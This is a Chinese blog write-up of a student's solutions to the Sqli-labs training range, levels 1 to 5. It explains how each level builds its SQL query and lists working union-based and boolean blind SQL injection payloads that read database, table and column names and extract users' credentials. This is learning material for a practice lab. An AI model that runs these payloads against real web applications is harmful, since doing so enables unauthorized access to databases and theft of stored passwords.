Sql-libs靶场刷题记录(更)

目录

less-1

less-2

less-3

less-4

less-5


less-1

先判断注入点:

?id=0' union select 1,2,3--

注意判断注入点的时候id一定要改成0或者负数,SQL语句是这样的:

SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1

, 我觉得应该是因为实际中并不存在为0或者负数的id,那么where后面的id='0'就是False,那就会执行后面的查询语句了。

注入点如下所示:

database()数据库名字是security,查这个数据库的表名,列名,注意这里的security一定奥加引号,后面跟注释,这样相当于自己闭合。要么就让原来的代码帮我们闭合,写成'security, 后面啥也不加

查 users表的列名:

查出用户名和密码:

less-2

本题的SQL语句是这样的SELECT * FROM users WHERE id=$id LIMIT 0,1,可以看到id没有单引号去闭合

payload:

 ?id=1 and 1=2 union select 1,2,3-- -

为什么这样写呢?带进sql语句看一下:

SELECT * FROM users WHERE id=1 and 1=2 union select 1,2,3-- - LIMIT 0,1

where后面被分成两部分,第一部分:id=1 and 1=2,1=2为False, 前面又有and,那这个句段的结果就是false,那就会执行后面的联合查询语句了

套路还是判断回显点,然后查数据库名、表名、列名

less-3

sql语句是这样的:

SELECT * FROM users WHERE id=('$id') LIMIT 0,1,

payload:

?id=0') union select 1,2,3-- -

没啥意思

less-4

还是改了改sql语句,payload:

id=1") and 1=1 -- -

值得一提的是:这样处理传入id的结果是:"123"

less-5

盲注或报错注入

先尝试爆破数据库名的长度

 ?id=1' and length(database())=1 %23  

8是对的

爆数据库名

?id=1' and ascii(substr((select database() ),1,1))>50%23

最终结果:

首字母ascii值为115,就是s

开始跑brup,最后数据库名ascii为115 101 99 117 114 105 116 121 转换为security

也可以这样:

数据库长度:

?id=1' and length(database())=8--+

数据库名:

用’a’、‘b’、‘c’、‘d’……‘w’、‘y’、'z’挨个试呗!!! ?id=1' and left(database(),1)>'a'--+ ?id=1' and left(database(),1)='s'--+

经过测试大于、小于之后,我们最后可以用等于确定第一个字符为“s”

测试数据库第二位: ?id=1' and left(database(),2)>'sd'--+ //正确 ?id=1' and left(datbase(),2)>'se--+' //错误 ?id=1' and left(database(),2)='se'--+ //正确

?id=1' and (select count(*)from information_schema.tables where table_schema=database() )=4 %23 可以发现当前数据库下有4张表

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='0' %23 跑出第一张表为emails,把后面的limit 1,1 一次次换,得到四张表

测数据库中的表个数: ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

测试各表名长度: ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+ ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>6--+ ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))>6--+ ……

测试表名组成元素: ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a'--+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)>'us--+' ……

测试某表中字段个数: ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='xxx')=4--+ …… 测试某表中字段名长度: ?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 0,1))>6--+ ?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 1,1))>6--+ ……

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值